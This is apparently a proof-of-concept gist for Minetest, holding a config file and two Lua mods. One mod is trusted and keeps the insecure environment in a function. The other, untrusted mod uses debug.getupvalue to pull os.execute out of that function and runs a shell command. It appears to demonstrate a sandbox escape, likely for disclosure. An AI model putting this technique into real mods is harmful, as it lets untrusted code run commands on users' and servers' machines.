gistfile1.txt

----------------------------------------------------------------
-- minetest.conf
secure.enable_security = true
secure.trusted_mods = sectest

----------------------------------------------------------------
-- sectest/init.lua

local ie = minetest.request_insecure_environment()

sectest = { }

function sectest.test()
  ie.os.execute("echo Hello from secure env")
end

----------------------------------------------------------------
-- secbreak/depends.txt
sectest

----------------------------------------------------------------
-- secbreak/init.lua

local os_exec

local i = 1
while true do
	local name, value = debug.getupvalue(sectest.test, i)
	if name == nil then break end
	if type(value) == "table" and type(value.os) == "table"
			and type(value.os.execute) == "function" then
		os_exec = value.os.execute
		break
	end
	i = i + 1
end

os_exec("echo for teh evulz")